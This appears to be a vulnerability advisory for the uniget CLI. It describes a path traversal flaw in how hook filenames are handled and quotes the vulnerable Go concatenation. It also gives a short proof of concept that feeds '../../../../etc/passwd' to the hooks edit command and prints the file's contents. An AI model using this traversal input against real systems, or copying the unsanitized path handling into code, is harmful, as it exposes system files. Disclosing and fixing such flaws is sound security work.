uniget CLI has Path Traversal in Hook Files - Directory Escape Vulnerability

Summary

Path Traversal vulnerability in hook filename handling allows attackers to access and manipulate arbitrary files outside the hooks directory via directory escape sequences like passwd.

Details File: hooks.go Lines 135-160 `` hookFileName := args[0] // User input not validated hookFile = preInstallHooksDir + "/" + hookFileName // Direct concatenation ``

Hook filenames are concatenated directly without sanitizing ../ sequences, allowing directory traversal.

PoC

Step 1: Set cat as editor `` export EDITOR="cat" ``

Step 2: Read /etc/passwd via path traversal

./uniget hooks edit --type=pre-install "../../../../etc/passwd"

Step 3: Output shows file contents `` root:x:0:0:root:/root:/bin/bash daemon:x:2:2:daemon:/sbin:/sbin/nologin [...] ``